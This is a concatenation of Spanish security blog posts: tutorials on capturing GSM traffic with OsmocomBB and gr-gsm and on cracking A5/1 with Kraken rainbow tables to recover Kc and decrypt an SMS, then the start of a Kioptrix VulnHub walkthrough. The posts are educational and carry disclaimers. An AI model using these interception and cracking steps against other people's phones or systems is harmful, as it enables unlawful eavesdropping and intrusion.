cd /osmocom-bb/src/host/layer23/src/misc && \
./ccch_scan --arfcn 993 --gsmtap-ip 127.0.0.1

A partir de entonces, si se ejecuta Wireshark para sniffar el tráfico de red de la interfaz loopback, se visualizarán los mensajes decodificados del CCCH del ARFN sintonizado.

Capturar el tráfico de la interfaz aérea de GSM con GR-GSM

Con la información obtenida en el paso anterior, ya se puede intentar sintonizar el canal al cual está conectado nuestro teléfono. Para ello es necesario ejecutar un contenedor gr-gsm:

docker run --device=/dev/bus/usb/002 --net=host --cap-add=NET_ADMIN --rm --name test-gr-gsm -it -v `pwd`/files:/root/files pachulo/xenial-gr-gsm

Nota: En este caso no hará falta hacer passthrough de la GPU, ya que todo el software que se necesita para este escenario funciona por línea de comandos.

Obtener el error de sintonización del RTL-SDR

Antes que nada, habrá que calcular que error tiene nuestro RTL-SDR a la hora de sintonizar una frecuencia (medido en ppm). Para ello se utilizará el software Kalibrate para, primero, escanear el espectro GSM:

root@latitude:/# kal -s EGSM -v
Found 1 device(s):
 0: Generic RTL2832U OEM

Using device 0: Generic RTL2832U OEM
Found Rafael Micro R820T tuner
Exact sample rate is: 270833.002142 Hz
kal: Scanning for E-GSM-900 base stations.
channel detect threshold: 18835.181650
E-GSM-900:
 chan: 9 (936.8MHz + 2.826kHz) power: 52243.45

...
 chan: 993 (928.8MHz + 309Hz) power: 43248.09

Nota: Si al escanear el espectro no se encuentra ningún canal: a) estamos en una zona sin cobertura 2G b) el error de sintonización del cristal del RTL-SDR es tan grande que Kalibrate no es capaz de sintonizar ninguna. En caso de b) es posible ejecutar kal con un error inicial, usando la opción “-e”.

Y después calcular el error sintonizando con uno de los canales detectados:

root@latitude:/# kal -c 993
Found 1 device(s):
 0: Generic RTL2832U OEM

Using device 0: Generic RTL2832U OEM
Found Rafael Micro R820T tuner
Exact sample rate is: 270833.002142 Hz
kal: Calculating clock frequency offset.

...
average absolute error: 23.051 ppm

Siendo el medio de este dispositivo 23.051 ppm.

Hay que tener en cuenta que este valor puede cambiar con la temperatura, así que vale la pena ejecutar lo siguiente durante unos 10 minutos antes de realizar el cálculo:

root@latitude:/# rtl_test
Found 1 device(s):
 0: Realtek, RTL2838UHIDIR, SN: 00000001

Using device 0: Generic RTL2832U OEM
Found Rafael Micro R820T tuner
Supported gain values (29): 0.0 0.9 1.4 2.7 3.7 7.7 8.7 12.5 14.4 15.7 16.6 19.7 20.7 22.9 25.4 28.0 29.7 32.8 33.8 36.4 37.2 38.6 40.2 42.1 43.4 43.9 44.5 48.0 49.6
Sampling at 2048000 S/s.

Info: This tool will continuously read from the device, and report if
samples get lost. If you observe no further output, everything is fine.

Reading samples in async mode...

Capturar el downlink

Una vez realizados estos pasos ya se podrá pasar a capturar el tráfico del ARFCN de la celda donde está conectado nuestro teléfono (993 en nuestro caso) y guardando los resultados (en forma de bursts GSM) en el fichero test-burst.file con la herramienta grgsm_capture.py:

grgsm_capture.py --arfcn=993 --ppm=23 --burst-file=test-burst.file

Ahora será el momento de enviar un SMS al número de teléfono asignado a la tarjeta SIM del teléfono OsmocomBB:

OsmocomBB#
% (MS 1)
% SMS from +3466XXXXXXX: 'Testpurposes'

Una vez recibido, ya se podrá detener la captura y pasar a decodificar el canal BCCH (Broadcast Control CHannel) usando el fichero de bursts como entrada de la herramienta grgsm_decode:

grgsm_decode --arfcn=993 --ppm=23 --burst-file=test-burst.file --timeslot=0 --mode=BCCH

En este momento, si se pone a capturar el tráfico de red con Wireshark en la interfaz loopback, se podrán visualizar los datos decodificados:

Nota: Se recomienda ejecutar Wireshark con el siguiente comando para ver el tráfico decodificado:

wireshark -k -f udp -Y gsmtap -i lo

El siguiente paso es verificar que hemos capturado el tráfico hacía nuestro teléfono, por lo que se puede aplicar un filtro de Wireshark para ver si se ha producido alguna comunicación con el TMSI (Temporary Mobile Subscriber Identity) asignado (y obtenido con OsmocomBB) gsm_a.tmsi == 0x7081e5c3:

En este caso vemos dos paquetes del tipo “Paging Request Type 1” con destino nuestro terminal.

Nota: Hay que tener en cuenta que con el RTL-SDR sólo se está capturando el tráfico que va de la red del operador (las Base Transceiver Stations básicamente) a las Mobile Stations (los teléfonos).

Una vez hecho esto, habrá que examinar los paquetes de tipo “Immediate Assignment” para encontrar los que contienen el campo “Channel Description“. En este atributo se podrá observar a que timeslot y canal se asignan los terminales cuando necesitan un canal dedicado:

En nuestro ejemplo es el timeslot 1 y el canal SDCCH8 (Stand-alone Dedicated Control CHannel con 8 sub-slots).

Con esta información ya se podrá pasar a decodificar el canal con el siguiente comando:

grgsm_decode --arfcn=993 --ppm=23 --burst-file=test-burst.file --timeslot=1 --mode=SDCCH8

Aunque como la mayoría del tráfico de este canal va cifrado se decodificaran muy pocos paquetes. De todas formas ya se pueden averiguar dos cosas:

1. Que el dispositivo al que se está respondiendo es el nuestro, verificando el TMSI del paquete “Paging Response“:

2. El algoritmo de cifrado usado, ya que se comunica antes de empezar a cifrar el tráfico. A5/1 en el caso de nuestra comunicación:

Por último, para descifrar el tráfico que ha recibido nuestro teléfono se puede especificar la Kc (obtenida con OsmocomBB) como parámetro de grgsm_decode:

grgsm_decode --burst-file=test-burst.file --arfcn=993 --ppm=23 --timeslot=1 --mode=SDCCH8 --kc=237dcfffffffffff

Con lo que se podrá ver los datos en claro, incluyendo el SMS que se ha enviado:

Bonus

SIMTester

En este apartado se va explicar como sería posible realizar análisis de seguridad de tarjetas SIM con SIMTester usando un teléfono compatible con OsmocomBB como lector.

Primero habrá que arrancar un nuevo contenedor OsmocomBB:

docker run --device=/dev/ttyUSB0 --rm -it --name test-simtester pachulo/xenial-osmocombb

Utilizar el teléfono como lector requiere un firmware especial, pero antes de poder crearlo habrá que instalar el JDK de Java 8:

apt update && \
apt install -y openjdk-8-jdk

Ahora habrá que compilar la rama luca/libosmosim de OsmocomBB, pero antes se tendrá realizar una pequeña modificación, ya que parece que los Makefile tienen la ruta del JDK hardcodeada.:

cd /osmocom-bb/src && \
git checkout luca/libosmosim && \
sed -i 's/\/home\/gsmmap\/jdk1.7.0_45/\/usr\/lib\/jvm\/java-8-openjdk-amd64/g' host/layer23/src/libosmosim/Makefile* && \
make

Una vez finalizada la compilación ejecutaremos osmocon para cargar el firmware cuando se encienda el teléfono:

cd /osmocom-bb/src/host/osmocon && \
./osmocon -p /dev/ttyUSB0 -m c123xor ../../target/firmware/board/compal_e88/layer1.compalram.bin

Una vez hecho esto, en otro terminal dentro del contenedor:

docker exec -ti test-simtester /bin/bash

Ya se podrá descargar el software:

wget https://opensource.srlabs.de/attachments/download/117/SIMtester_v1.8.1.zip && \
unzip SIMtester_v1.8.1.zip

Y ejecutarlo, aunque antes habrá que asegurarse de que el archivo libosmosim.so esté disponible en el java.library.path:

export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/osmocom-bb/src/host/layer23/src/libosmosim/.libs/ && \
cd /SIMtester/binaries/v1.8.1 && \
java -jar SIMTester.jar -tf OsmocomBB

Pero, aunque parece que el programa se conecta correctamente al teléfono, no aparecen resultados:

########################################
 SIMTester v1.8.1, 2016-02-04
 Lukas Kuzmiak (lukas@srlabs.de)
 Security Research Labs, Berlin, 2017
########################################

Using OsmocomBB mobile as SIM card reader
Terminals connected: 1
de.srlabs.simlib.osmocardprovider.OsmoCardTerminal@5b2133b1

Using terminal: OsmoCardTerminal
Card connected: de.srlabs.simlib.osmocardprovider.OsmoCard@33c7353a

Cuando las ballenas vuelan (episodio II) – Creando un entorno de análisis GSM usando Docker (parte 3)

$
0
0

Esta es la tercera parte de la serie (parte 1 y parte 2) y continuará con el escenario de análisis GSM usando los contenedores creados anteriormente.

Nota importante: No hace falta decir que interceptar comunicaciones de terceros sin su consentimiento es ilegal y puede acarrear graves problemas. Este escenario se plantea con fines educativos y se ha realizado sobre comunicaciones propias. No nos hacemos responsables del mal uso de la información proporcionada.

Romper el cifrado A5/1

La siguiente fase del escenario quiere responder a la pregunta: ¿podría romperse el cifrado GSM simplemente capturando el tráfico de forma pasiva?

Y para poder responderla habrá que intentarlo, siguiendo estos pasos.

Extraer información de una captura

Antes de utilizar Kraken, se deberá extraer información de una captura como la realizada en la primera fase del escenario, decodificando el tráfico del “SDCCH8” (Stand-alone Dedicated Control CHannel with 8 timeslots) en el timeslot correspondiente (normalmente el segundo, como en este caso) con Wireshark “escuchando en la interfaz de loopback:

grgsm_decode --arfcn=993 --ppm=23 --burst-file=993-test-burst.file --timeslot=1 --mode=SDCCH8

En el tráfico habrá que buscar mensajes que:

  • Se envíen en claro antes de empezar a cifrar.
  • Se envíen de forma periódica y se conozca la cadencia de envío.
  • Tengan un valor que cambie poco o nada.

Los mejores candidatos para esto son los mensajes de tipo “System Information Type {5, 5bis, 5ter, 6}“, ya que:

  • Están presentes en el tráfico en claro antes del “Ciphering Mode Command“.
  • Se van repitiendo cada 102 GSM frames.
  • Su valor suele ser estable durante el uso de canales dedicados.

Nota: En esta respuesta de Sylvain Munaut a la lista de correo A51 está explicado el porqué son buenos candidatos. Más información general sobre este tipo de mensajes.

Una vez determinado que tipo de mensajes pueden servir se deberá escoger uno en el tráfico en claro, por ejemplo uno “System Information Type 5bis, y obtener el GSM frame number donde empieza. 1833278 en este caso:

Antes de continuar también será necesario volcar en un fichero de texto todos los bursts del tráfico capturado utilizando el siguiente comando:

grgsm_decode --arfcn=993 --ppm=23 --burst-file=993-test-burst.file --timeslot=1 --mode=SDCCH8 --print-bursts > bursts-993-23.txt

Donde cada línea del fichero contiene tres campos:

  • El frame number.
  • El frame number “modificado” (esto es un requisito del algoritmo de cifrado A5/1 y será de utilidad luego).
  • Los bits del burst.

Por ejemplo:

1829806 2825092: 100000010001110101010000000010100000000111111101010000001010000100010111010100000000101000010000010101010100000010

Nota: En este volcado la representación de los bursts sólo contiene los bits de información; en el caso de un burst de tipo “normal” = 114 bits.

Y después obtener los bursts del GSM frame seleccionado, así como de los 3 consecutivos:

# grep -A3 1833278 bursts-993-23.txt
1833278 2831378: 101010010001011000000000001110101001010000100010101100011110100110000010001001010001100000000100010111100000000100
1833279 2831411: 001000000101001010110100011000100001000101101001100001000010100001001000001100000100110010010101001010001100011000
1833280 2831444: 100100011000101001010000011000000100001100000000010011000001010000011100100101010100001001000010001010010000011010
1833281 2831477: 110000000100100011000001000010010101110000110000001011001001010010101010000000010010100000010010000000000011001010

Nota: El motivo de necesitar 4 burts es que “To transfer one system information word, four bursts are needed.“, tal y como está explicado aquí.

El siguiente paso será realizar los cálculos para saber que frames (cifrados) deberían ser del tipo “System Information Type {5, 5bis, 5ter, 6}:

  • 1833278+102=1833380
  • 1833380+102=1833482
  • 1833482+102=1833584

Observando el tráfico en claro se ha podido comprobar que, para esta celda, los mensajes del tipo “System Information Type” se van alternando en este orden: 5, 5bis y 6, por eso se ha escogido directamente el tercero de la serie.

Una vez se tengan estos datos se podrá comprobar que el burst de este frame, así como los 3 consecutivos a este, están presentes en la captura:

#grep -A3 1833584 bursts-993-23.txt
1833584 2831372: 111001011111000000010100001001101011000110000111011100111000101000110011100011011000111000110111101110011000101011
1833585 2831405: 011110000101111011011011111010101011101100001110110000001011000011001100111011000010001110110011101011000011000001
1833586 2831438: 001100011001110001000010010110111010001100001010110101100010111100110100111010010001010110010100011101011010000111
1833587 2831471: 000110110001001101001110100110000111100001101100110001001010111111011010111100010011010010110101100111111000111110

Obtener Kc con Kraken

Hechos todos estos cálculos, será hora de arrancar el contenedor con Kraken, haciendo passthrough de la partición de disco con las rainbow tables y montando el volumen que contiene los índices en la ruta /kraken/indexes:

docker run \
--device=/dev/disk/by-id/wwn-0x5000c50091dc385d-part2:/dev/xvdc2 \
--volume /media/$USER/DRIZZLECHAIR/kraken/indexes/:/kraken/indexes/ \
-ti --rm pachulo/xenial-kraken

Y pasar a hacer disyunción exclusiva de los burst en claro con los cifrados. En este ejemplo, los bursts con frame number 1833278-1833281 XOR 18335841833587:

# cd /kraken/Utilities/
# python xor.py 101010010001011000000000001110101001010000100010101100011110100110000010001001010001100000000100010111100000000100 111001011111000000010100001001101011000110000111011100111000101000110011100011011000111000110111101110011000101011
010011001110011000010100000111000010010110100101110000100110001110110001101010001001011000110011111001111000101111
# python xor.py 001000000101001010110100011000100001000101101001100001000010100001001000001100000100110010010101001010001100011000 011110000101111011011011111010101011101100001110110000001011000011001100111011000010001110110011101011000011000001
010110000000110001101111100010001010101001100111010001001001100010000100110111000110111100100110100001001111011001
# python xor.py 100100011000101001010000011000000100001100000000010011000001010000011100100101010100001001000010001010010000011010 001100011001110001000010010110111010001100001010110101100010111100110100111010010001010110010100011101011010000111
101000000001011000010010001110111110000000001010100110100011101100101000011111000101011111010110010111001010011101
# python xor.py 110000000100100011000001000010010101110000110000001011001001010010101010000000010010100000010010000000000011001010 000110110001001101001110100110000111100001101100110001001010111111011010111100010011010010110101100111111000111110
110110110101101110001111100100010010010001011100111010000011101101110000111100000001110010100111100111111011110100

La lógica de tener que realizar un XOR entre los bursts es que, al final, lo que se está realizando es un ataque Known-plaintext, por lo que Kraken necesita el keystream, no el ciphertext (los datos cifrados).

Ahora ya es el momento de ejecutar Kraken:

cd /kraken/Kraken/ && ./kraken /kraken/indexes

Obteniendo la siguiente salida con información sobre las rainbow tables cargadas:

Device: /dev/xvdc2 40
/dev/xvdc2
Allocated 41301076 bytes: /kraken/indexes/260.idx
Allocated 41259888 bytes: /kraken/indexes/324.idx

...

Tables: 260,324,492,388,140,276,132,156,364,164,356,412,436,172,500,180,372,428,188,196,268,420,204,212,348,292,220,396,100,230,340,380,404,108,238,116,332,148,250,124
Commands are: crack test quit

Kraken>

Para comprobar que todo funciona correctamente se puede ejecutar un test:

Kraken> test

Cracking 001101110011000000001000001100011000100110110110011011010011110001101010100100101111111010111100000110101001101011
Found 16027103698477381980x @ 12 #0 (table:340)
Found 8050061555739560956x @ 23 #0 (table:372)
crack #0 took 167157 msec

Nota: Kraken no es muy estable, por lo que de vez en cuando pueden producirse Segmentation faults.

Otro de los detalles que hay tener en cuenta al trabajar con Kraken es que para romper una clave normalmente será necesario el ciphertext (valor cifrado) del burst anterior, por lo que se utilizarán sólo el segundo, tercer y cuarto keystream (los resultados de los XOR).

En este ejemplo, al intentar romper el segundo keystream ya se obtiene un resultado:

Kraken> crack 010110000000110001101111100010001010101001100111010001001001100010000100110111000110111100100110100001001111011001 [118/489]

Cracking 010110000000110001101111100010001010101001100111010001001001100010000100110111000110111100100110100001001111011001
Found 6647556174848107156x @ 29 #1 (table:332)
crack #1 took 164725 msec

Que indica que 6647556174848107156x es la clave que produce la salida en la posición 29 después de 100 “clockings”.

Con estos datos ya se puede pasar a la siguiente fase, que es la de encontrar Kc con la herramienta find_kc:

# /kraken/Utilities/find_kc
usage: ./find_kc foundkey bitpos framecount (framecount2 burst2)

La cual necesita los siguientes datos:

  • La clave encontrada por Kraken (6647556174848107156x en este caso).
  • La posición donde produce la salida (29 en este caso).
  • El GSM frame number modificado del burst cifrado.
  • El GSM frame number modificado del burst anterior.
  • El valor del keystream anterior.

Los dos GSM frame numbers modificados se pueden obtener del archivo creado anteriormente:

# grep -A1 1833584 bursts-993-23.txt
1833584 2831372: 111001011111000000010100001001101011000110000111011100111000101000110011100011011000111000110111101110011000101011
1833585 2831405: 011110000101111011011011111010101011101100001110110000001011000011001100111011000010001110110011101011000011000001

Mientras que el keystream, en este caso, es el resultado del primer XOR calculado anteriormente:

# python xor.py 101010010001011000000000001110101001010000100010101100011110100110000010001001010001100000000100010111100000000100 111001011111000000010100001001101011000110000111011100111000101000110011100011011000111000110111101110011000101011
010011001110011000010100000111000010010110100101110000100110001110110001101010001001011000110011111001111000101111

Con todos estos datos se ejecuta la herramienta:

# /kraken/Utilities/find_kc 6647556174848107156x 29 2831405 2831372 010011001110011000010100000111000010010110100101110000100110001110110001101010001001011000110011111001111000101111
#### Found potential key (bits: 29)####
e4a3cebbf20d9b88 -> e4a3cebbf20d9b88
Framecount is 2831405
KC(0): 0e 5a 08 c9 9f 13 eb d4 mismatch
KC(1): b9 ce 5a 3d 4a 55 5d a1 mismatch
KC(2): c7 a0 20 1f 1a 10 8b 94 mismatch
KC(3): 5f 03 c0 08 5b d4 61 da mismatch
KC(4): dd 86 f9 7f d5 78 7f 1f mismatch
KC(5): d4 30 16 35 ac 91 07 7d mismatch
KC(6): 07 18 73 af b2 04 62 24 mismatch
KC(7): 56 b5 2f 42 22 3d 19 b8 mismatch
KC(8): 1e 2f f1 a1 30 25 c4 6a mismatch
KC(9): 21 e6 24 36 5e 62 9d f5 mismatch
KC(10): e4 c3 a4 e5 81 a8 ba 29 mismatch
KC(11): 8f bb 4e 08 e4 1d 0f 95 mismatch
KC(12): 16 77 32 e8 04 c8 b5 da mismatch
KC(13): f6 ad e7 81 f4 23 2b d6 mismatch
KC(14): ae 6c 6c 45 32 c9 8b ac mismatch
KC(15): 18 26 0c 0d 9d b4 84 fa mismatch
KC(16): cc f2 96 d9 79 a8 17 11 mismatch
KC(17): 74 9e 10 02 34 24 a4 2d mismatch
KC(18): 2b 97 41 82 f9 ec 9b 5e *** MATCHED ***
KC(19): 28 a8 53 6f 92 e2 fd b3 mismatch
KC(20): cf cd 84 34 12 a6 71 fc mismatch
KC(21): 19 b7 65 9c a9 5a fe 27 mismatch
KC(22): 9b 32 5c eb 27 f6 e0 e2 mismatch
KC(23): 22 f1 fd c0 d7 c7 cf 00 mismatch
KC(24): 0d dc 32 a7 cd 54 a0 c0 mismatch
KC(25): 33 56 80 22 4e a3 8b 2a mismatch
KC(26): b0 e0 16 ff ac cb 2e db mismatch
KC(27): e1 4d 4a 12 3c f2 55 47 mismatch
KC(28): fc 5f db a7 4e e8 cf 1b mismatch
KC(29): 29 4d 56 6f 6a ee 99 ba mismatch
KC(30): 33 93 6c d4 33 83 f4 d5 mismatch
KC(31): 03 ac b3 d1 8d 17 ec b7 mismatch
KC(32): 81 23 af 85 f1 30 08 33 mismatch
KC(33): 45 a4 0e a6 86 b2 a8 bd mismatch
KC(34): 15 0b e1 92 19 0a 05 d5 mismatch
KC(35): a5 e6 d4 e2 49 fa 61 19 mismatch
KC(36): f4 4b 88 0f d9 c3 1a 85 mismatch
KC(37): 12 bf 00 29 3a a1 0f aa mismatch
KC(38): 0e 61 42 19 d6 1f b5 2d mismatch
KC(39): 5f cc 1e f4 46 26 ce b1 mismatch
KC(40): 5b a2 89 64 19 ed 5f 37 mismatch

Y, como se puede observar, ¡una de las 41 claves candidatas coincide!

Utilizando Kc en un comando como este ya será posible descifrar todo el tráfico:

grgsm_decode --arfcn=993 --ppm=23 --burst-file=993-test-burst.file --timeslot=1 --mode=SDCCH8 --kc=2b974182f9ec9b5e

Incluyendo el SMS recibido por nuestro terminal:

Este escenario no sale siempre a la primera, por lo que si no se obtienen resultados, se recomienda probar con otros mensajes “System Information Type {5, 5bis, 5ter, 6}” y/o con un “Actual Timing Advance” diferente (01 normalmente).

 

Conclusión

Se ha demostrado que para romper el cifrado A5/1, algoritmo soportado por prácticamente todos los móviles GSM del mundo, únicamente es necesario capturar el trafico de la interfaz aérea GSM de forma pasiva.

Además, también se ha confirmado que es posible hacerlo (aunque de una forma un poco artesanal) con hardware barato y software disponible gratuitamente en Internet.

Esto es especialmente grave dado que en el caso de España, por ejemplo, el uso del algoritmo A5/3 (más seguro y sin ataques prácticos publicados) para comunicaciones GSM por parte de los operadores es minoritario:

Vodafone has begun rolling out A5/3. To intercept subscribers of Vodafone in A5/3-enabled areas, attackers will need to use active equipment. In Spain, Movistar and Orange continue to mostly rely on outdated encryption.

Nota: Información obtenida de: https://gsmmap.org/assets/pdfs/gsmmap.org-country_report-Spain-2017-06.pdf

La única forma que como usuarios tenemos de tratar de evitar ser víctimas de este ataque es asegurarse de que el terminal no está utilizando 2G para comunicarse con la red.

 

Referencias

Teoría básica del ataque sobre A5/1 usado:

Paper de Karsten Nohl describiendo el ataque:

Y el vídeo de su presentación en Blackhat 2010:

Documentación sobre la creación del disco duro con las rainbow tables:

Los siguientes mensaje de la lista de correo A51 contienen información práctica sobre la implementación del ataque:

Este ejercicio de la universidad de Friburgo explica un escenario como el que se ha mostrado:

En esta serie de tutoriales del muy recomendable Crazy Danish Hacker se explica un escenario similar, pero utilizando otras herramientas para algunas tareas:

Información comparada sobre las medidas de protección implementadas en las redes de los operadores móviles de todo el mundo:

Bonus

Que hacer en caso de que el “Actual Timing Advance” de un paquete no sea 00

En el caso de un paquete del tipo “System Information Type {5, 5bis, 5ter, 6} en el que el “Actual Timing Advance” (segundo byte) no sea 00 habrá que modificarlo, porque lo más probable es que en los mensajes posteriores (y cifrados) del mismo tipo este valor sí sea 00 (más información aquí).

Para ello primero habrá que obtener el hexdump del mensajeesto es, desde la cabecera “SACCH L1” hasta el final (23 bytes en total):

Siendo en este caso:

05 01 03 03 49 06 05 af e8 7d fc 80 00 00 09 00 00 00 00 00 00 00 00

Para a continuación modificarlo para que el segundo byte sea 00 y ya se pueda obtener el paquete codificado en burts con la herramienta gsmframecoder:

/gsmframecoder/test/gsmframecoder 05 00 03 03 49 06 05 af e8 7d fc 80 00 00 09 00 00 00 00 00 00 00 00
Decoding 05000303490605afe87dfc800000090000000000000000
Encoded Frame, Burst1:
101010010001011000000000001110101001010000100010101100011110100110000010001001010001100000000100010111100000000100
Encoded Frame, Burst2:
001000000101001010110100011000100001000101101001100001000010100001001000001100000100110010010101001010001100011000
Encoded Frame, Burst3:
100100011000101001010000011000000100001100000000010011000001010000011100100101010100001001000010001010010000011010
Encoded Frame, Burst4:
110000000100100011000001000010010101110000110000001011001001010010101010000000010010100000010010000000000011001010

 

Welcome to Kioptrix VM 2014 – Walkthrough

$
0
0

Introducción

Con este post se inicia una pequeña serie de artículos con las soluciones a determinadas máquinas de Vulhub (https://www.vulnhub.com/cuyo nivel de dificultad es parecido a algunas de las máquinas que hay en el laboratorio de la certificación OSCP (https://www.offensive-security.com/information-security-certifications/oscp-offensive-security-certified-professional/) y que por tanto pueden servir como preparación para la certificación (o refrescar conocimientos). El listado de estas máquinas, ordenado de mayor a menor dificultad, es:

  1. Kioptrix 2014 https://www.vulnhub.com/entry/kioptrix-2014-5,62/
  2. FristiLeaks https://www.vulnhub.com/entry/fristileaks-13,133/
  3. Stapler https://www.vulnhub.com/entry/stapler-1,150/
  4. VulnOS https://www.vulnhub.com/entry/vulnos-2,147/
  5. SickOs https://www.vulnhub.com/entry/sickos-12,144/
  6. Brainpan https://www.vulnhub.com/entry/brainpan-1,51/
  7. HackLAB Vulnix https://www.vulnhub.com/entry/hacklab-vulnix,48/
  8. /dev/random scream https://www.vulnhub.com/entry/devrandom-scream,47/
  9. pWnOS https://www.vulnhub.com/entry/pwnos-20-pre-release,34/
  10. SkyTower https://www.vulnhub.com/entry/skytower-1,96/

Ahora es turno de ver cómo se resuelve la máquina Kioptrix 2014, y de la metodología que se ha seguido, paso a paso. En el resto de máquinas no se ofrecerá tanto detalle como en esta.

Information gathering

Información, la información es la clave. Enumerar, enumerar y volver a enumerar. Cuanta más información se obtenga del objetivo más fácil será ganar la partida, conseguir llegar a ser root.

Para empezar, obviamente, lo primero es obtener la dirección IP de la máquina objetivo. Esto se consigue mediante el uso del comando “netdiscover -r “:

Una vez ya se sabe la dirección IP el siguiente paso es realizar una enumeración de puertos e identificación de servicios. Es necesario conocer cómo la máquina se comunica con el exterior, ya que estas comunicaciones serán los potenciales vectores de entrada.

Nota: En algunos libros/metodologías  he visto como esta “parte” se considera una fase independiente de “information gathering”, sin embargo, personalmente yo creo que debe estar incluida dentro.

Para realizar la enumeración de servicios (port scanning) existen diferentes tools y maneras de proceder.En este caso, se va a intentar realizarlo de la manera más eficaz posible y comprobando todos los puertos.

1-Se realiza un scan de los 100 puertos más importantes: nmap  -T4 -Pn -F –open –reason $Ip

Se han obtenido los siguiente resultados:

a) Puerto 80 con un servicio http

b) Puerto 8080 con un servicio HTTP-proxy

2- Obtener más información de los servicios detectados en el paso 1. El comando es: nmap -T4 -Pn -sV -O -p 80,8080 –open –reason $IP 

 

Se han obtenido los siguiente resultados:

a) Hay un Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8

b) El sistema operativo es, probablemente, un Linux FreeBSD 2.6.18-2.6.22

3- Finalmente, realizar un scan de todos los puertos. Este paso requerirá mucho tiempo, por eso es recomendable realizar otras tareas en paralelo, una buena idea es investigar más en profundidad la información obtenida con anterioridad.

Para realizar el scan a todos los puertos, hay diferentes opciones:

a) Utilizar el script “One-two punch” de superkojiman:

1) echo 192.168.8.139 > ip.txt

2) bash onetwopunch -t ip.txt -p tcp -n -A

3) bash onetwopunch -t ip.txt -p udp -n -A

Nota: Es posible utilizar el parámetro “-p all”, para realizar a la vez TCP y UDP pero algunas veces da errores de ejecución.

 

O bien:

a) Escanear todos los puertos TCP con nmap y utilizar el parámetro -A

b)Escanear todos los puertos UDP con la tool “unicorn” o el auxiliary scan UDP de Metasploit

Una vez se han finalizado todos los scan, se realiza una recopilación de toda la información obtenida para su análisis y definición de los posibles vectores de ataque y su priorización. El procedimiento que se sigue recibe el nombre de “The low hanging fruit” y básicamente consiste en analizar y comprender toda la información que se obtiene para ordenar dichos vectores de ataque de los más sencillos y simples a los más complejos. Además,  de esta manera se evita el efecto túnel, es decir, centrarse en un único vector y empeñarse en que ese es el vector definitivo.

Si se me permite el homenaje, este procedimiento recuerda a grandes rasgos al modelo deductivo de Sherlock Holmes, donde a base de recoger indicios y  el análisis de las pruebas, se investiga cada  con más detalle hasta llegar a la única deducción posible.

“Una vez descartado lo imposible, lo que queda, por improbable que parezca, debe ser la verdad

Por lo tanto, los vectores de ataque definidos son:

1- Puerto 80 abierto con un servicio HTTP (web)

2- Puerto 8080 abierto con un servicio HTTP

3- Software Apache 2.2.21 ((FreeBSD) mod_ssl/2.2.21, PHP 5.3.8

4- Sistema operativo Linux FreeBSD 2.6.18-2.6.22

Análisis de vulnerabilidades

En este punto, la atención se va a centrar en cada uno de los vectores descritos, (excepto el 4- Sistema operativo dado que aún no se dispone de acceso local) intentando obtener información más específica de cada uno de ellos y así determinar las probabilidades de explotación.

Puerto 80 con un servicio HTTP (web)

La batería de pruebas que se ha de realizar siempre a un servicio web es la siguiente:

1- Navegar por la web y el fichero robots.txt

2- Análisis de las cabeceras

3- Análisis del código fuente

4- Enumeración de directorios

5- Nikto

Denotar que los puntos 4 y 5 son los que pueden requerir más tiempo, así que se una buena táctica es lanzar una tool de enumeración de directorios o Nikto y de mientras, realizar los puntos del 1 al 3.

Los resultados son los siguientes:

1- La navegación de la web se aconseja realizarla a través de Burp, o si se prefiere realizar una pasada muy rápida, utilizar curl puede ser una muy buena opción.

curl -i -L -s 192.168.8.139

Mediante las cabeceras obtenidas se confirman de nuevo las versiones de software de Apache, pero en el código fuente se ha detectado un path nuevo:

a) pChart2.1.3/index.php

b) El fichero robots.txt no existe

Si se utiliza otras opciones de curl es posible obtener algo más de información:

2- El éxito de la enumeración de directorios dependerá en gran medida de la lista que se utilice para realizar el fuzzing. Se recomiendan las siguientes:

En este caso utilizaremos la lista common.txt de Dirb.

Las herramientas que se pueden utilizar dependen mucho de los gustos personales de cada uno. Dirb es una de las más famosas, pero últimamente la tool que más estoy utilizando es gobuster.

3- Con la tool Nikto se ha obtenido más información:

Pero especialmente interesante es:

Puerto 8080 con un servicio HTTP

En este caso, al tratarse de un servicio web se repiten los pasos anteriores

1- Análisis de la web

Se obtiene un código 403 Forbidden, no se dispone de permiso de acceso. En este punto, es mejor parar las pruebas en este vector y ver si hay otros más fáciles.

Software Apache 2.2.21 ((FreeBSD) mod_ssl/2.2.21

Este vector está enfocado claramente al uso de software obsoleto. Los pasos a seguir siempre en estos casos son:

1- Identificación de la versión

2- Búsqueda de vulnerabilidades y exploits

3- Analizar si el exploit aplica o no en el escenario

En esta ocasión se va a proceder a buscar exploits utilizando Google y searchsploit

Existe un exploit con el nombre OpenFuck con dos versiones. Y es remoto, podría ser una buena opción.

Resumen del análisis de los vectores de ataque

Una vez se ha realizado un análisis preliminar de los vectores de ataque, vale la pena valorar toda la información en su conjunto.

1- Hay un servicio web en el puerto 80 que indica un path con el nombre pChart

2-Hay un posible exploit, OpenFuck que afecta al Apache instalado

3- Hay un servicio web en el 8080, pero es necesaria algún tipo de autenticación.

Entonces, en base a esto, los vectores de ataque más factibles son sin duda el 1 y el 2. Entre ellos, un exploit remoto puede ser la forma más directa y “fácil” de conseguir el acceso a la máquina, pero antes de darle al botón rojo y ejecutarlo, es recomendable realizar una pequeña leída tanto al código como a la descripción de la vulnerabilidad.

 

El exploit consiste en la explotación de un buffer overflow, pero el problema ocurre durante la negociación del protocolo SSLv2. Si se repasa con atención toda la información que se ha obtenido es fácil descartar el uso de este exploit, debido a que no aplica en el contexto actual. Ninguno de los puertos activos está utilizando SSL. Por lo tanto, mejor no dedicarle más tiempo a este vector y olvidarlo.

En conclusión, el vector de ataque que merece la pena seguir estudiando es el vector 1.

Explotación de pChart

Tal y como se ha comentado anteriormente, la información es la clave. En este caso, el nombre de pChart con una versión no parece ser algo aleatorio. Google es un gran aliado en estos escenarios.

Realizando una búsqueda en Google con los términos “pChart  2.1.3” el primer enlace ya conduce a exploit-db (https://www.exploit-db.com/exploits/31173/). Perfecto, pero antes de ejecutar ya los posibles exploits es recomendable recolectar algo más de información genérica e identificar el “término”. En este caso,  pChart (http://www.pchart.net/) es una libreria/framework de PHP para crear gráficos.

Se repiten las mismas pruebas descritas con anterioridad para obtener aún más información.

1- Curl y navegación

2- Enumeración de directorios

 

3- Nikto

Se ha detectado un fichero ../readme.txt que permite identificar claramente la versión de pChart utilizada

En este punto, como se dispone de la versión exacta de pChart ( y recordando lo encontrado en Google) se utiliza la tool searchsploit:

Y…bingo, hay un directory traversal:

